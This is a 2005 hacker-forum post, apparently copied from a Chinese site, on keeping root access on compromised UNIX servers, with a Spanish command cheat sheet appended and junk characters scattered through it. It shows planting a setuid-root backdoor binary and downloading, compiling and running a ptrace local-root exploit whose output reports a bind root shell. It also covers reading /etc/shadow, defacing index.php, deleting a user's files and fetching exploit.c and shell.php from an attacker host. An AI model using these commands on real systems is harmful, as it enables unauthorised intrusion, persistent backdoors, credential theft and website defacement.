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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>* q) t2 w3 _8 Y
<>1.</P>
! E2 @# A, p4 e6 i<>[cnbird@localhost tmp]#id</P>
7 W) ]$ e/ v) k/ N% J  t5 @9 F<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
) i# h" K- X* |& F# b/ l<>[cnbird@localhost tmp]#cp `which id ` .</P>
# X, g7 H2 \9 e4 v8 I  x<>[cnbird@localhost tmp]#chown root ./id</P>1 W6 |5 G* h6 l9 [( h- j# r$ j
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>6 |* t0 T: N. g# r) I/ {
<>[cnbird@localhost tmp]#ls -l ./id</P>: u' B, B$ u$ r9 |: y' I! L- D8 M) m
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
- o9 E" [# \3 y7 C<>[cnbird@localhost tmp]#exit</P>
$ S4 w, v( F4 w4 Z* g! [. i<>[cnbird@localhost tmp]$id</P>
" g3 b8 t% w* u6 Q5 E( {<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>. H: ~. W- k& Z5 C: W  A3 C4 n! g
<>[cnbird@localhost tmp]$./id </P>
- K3 c4 W- G9 V<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>1 _- S- X5 }* t) \9 f
<>2.利用ptrace成为root的方法</P>
5 ^* \8 S# S) ]5 [<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace4 H, H' j! K( X7 x7 R& A' l: p% ?
-&gt; Parent's PID is 2313. Child's PID is 2314.
' q( i: \% y0 D$ r* b* ]-&gt; Attaching to 2315...
( q& H. g/ j1 e: w8 r2 x! }- b-&gt; Got the thread!!# {6 h0 j- {6 D# ]
-&gt; Waiting for the next signal...9 q1 N% [1 |* U, o* v
-&gt; Injecting shellcode at 0x4000e85d
' ]" u" F" B! n: s3 k9 s-&gt; Bind root shell on port 24876... =p
% J7 [1 H* `5 q+ T- }4 f-&gt; Detached from modprobe thread.. I' G: U; }# B( {# X7 |( M3 R
-&gt; Committing suicide.....</P>
. i" ~. d; E8 l' [+ F! C<>[bash]# id' p: S* N1 b$ a, c; i# R7 [
uid=0(root) gid=0(root) groups=0(root)</P>
7 \8 f9 Y; b% L* Y( u5 K<>ara ver los dominios que hay en el server:
2 w# [' b# b: N7 U: N0 e6 N: k---------------------------------------------------------
" ?. t9 ~' U6 M, L& ]) L' q* dcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios6 P* `: c6 H9 S" C8 @! j5 l5 J6 D
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios9 L. _$ _- ^) s; `1 f# [) }
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales5 x7 n+ C) a' f" p+ N* V
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
0 @, |" i4 h; @/ H+ Jcat /etc/userdomains &lt;&lt; Este es el mas comun& e/ o& ?/ t0 l! s  V6 n) S* ]
---------------------------------------------------------</P>
9 E0 h# O2 t6 v0 g+ N# Y' M( u<>ara ver la version de kernel:  o. t6 k& n0 z  k. Z' \* K
---------------------------------------------------------
6 h* y. X' Z' w3 Q3 s8 Huname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.. f, L5 w! E: V$ g3 I$ K; \
---------------------------------------------------------</P>
/ W; A7 @5 ~5 F$ s& i% b  T, L1 q<>ara modificar un index ya existente:& J5 R0 ~9 T- x- B* W
---------------------------------------------------------
9 k# u1 Y. D, Necho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido9 H, U$ R0 D% o# [
---------------------------------------------------------</P>. u8 r; H5 m4 @1 f& I9 i2 c
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:7 f, f# v0 c/ R/ \- [# q
---------------------------------------------------------0 x; I/ Y4 ?+ I% m& r/ Z. ?
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
* N+ w, ]- v6 [4 ?& \: ?9 D; fcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
3 y7 u  l; O$ Q( c, ]" ecd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
2 Z  e3 K! [+ s# ~; w( zcd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
7 [. _/ c, z. Y. m" F5 _Hasta aqui termina el proceso para un exploit.* C  i. W2 O+ n
---------------------------------------------------------</P>* W- k) U, Z5 F) E+ P/ l' J% W
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
) j3 b/ ?) n# {. O1 V8 m---------------------------------------------------------* R" ]1 S# Z8 i. F
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.- E5 K! E; y9 o, `! x$ Q8 G* E
---------------------------------------------------------</P>- H1 H( c) `. H
<>Borrar un Ficher
, m* J$ u6 Y  _3 E---------------------------------------------------------
4 u+ x+ D8 E- zcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm' Z" _! o: |( J" x
---------------------------------------------------------</P>. u" w" g& q( J5 p% h7 U
<>Subir un ficher5 S# a5 z$ h9 t
---------------------------------------------------------
' a4 \- e4 l( D  i& `; c! p: G4 L1 gcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
7 Z4 W) \! t+ c5 Z0 B<>! Q" g) E% E7 P0 A' m4 N/ l$ s
<CENTER></CENTER>
zan
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